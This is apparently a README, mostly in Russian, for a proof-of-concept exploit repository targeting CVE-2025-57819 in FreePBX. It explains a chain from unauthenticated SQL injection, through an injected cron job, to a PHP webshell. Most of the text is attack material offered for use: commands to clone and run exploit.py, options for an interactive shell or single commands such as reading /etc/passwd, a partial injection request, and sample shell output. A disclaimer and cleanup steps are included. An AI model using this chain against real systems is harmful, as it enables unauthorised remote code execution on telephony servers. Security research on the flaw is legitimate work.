
Неаутентифицированная SQL-инъекция в FreePBX приводит к удалённому выполнению кода: FreePBX 15 (до 15.0.66), 16 (до 16.0.89), 17 (до 17.0.3). Уязвимость находится в коммерческом модуле «endpoint» и вызвана недостаточной фильтрацией пользовательского ввода, что позволяет неаутентифицированному атакующему обойти права администратора, выполнить SQL-инъекцию и в конечном счёте добиться удалённого выполнения кода.
CVE-2025-57819 — это критическая уязвимость SQL-инъекции в FreePBX, которая позволяет неаутентифицированному злоумышленнику добиться удалённого выполнения кода путём объединения SQL-инъекции с инъекцией cron-задач.
⚠️ Отказ от ответственности: Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения, незаконно. Автор не несёт ответственности за любое неправомерное использование или ущерб.
| Поле | Детали |
|---|
| CVE | CVE-2025-57819 |
| Затронутый продукт | FreePBX (до аутентификации) |
| Тип уязвимости | SQL-инъекция (сложенные запросы) |
| Воздействие | Удалённое выполнение кода (RCE) |
| Вектор атаки | Сеть (HTTP GET) |
| Требуется аутентификация | ❌ Нет |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php обрабатывает параметр brand без надлежащей санитизации, что позволяет выполнять сложенные SQL-запросы.INSERT INTO cron_jobs, который планирует выполнение вредоносной команды каждую минуту.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
При использовании --shell скрипт открывает псевдотерминал:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
Введите exit (или Ctrl-C, Ctrl-D), чтобы завершить сеанс.
Если вы предпочитаете ручные шаги, эксплойт делает три вещи:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
Внедрённая cron-задача (* * * * *) выполняется каждую минуту и записывает веб-шелл.
GET /shell.php?cmd=id
После тестирования удалите веб-шелл и запись cron-задачи:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Затем удалите /var/www/html/shell.php из файловой системы.
/admin/ajax.php доступен без аутентификацииЭтот проект предоставляется только для образовательных целей и исследований в области защитной безопасности. См. отказ от ответственности в начале этого документа.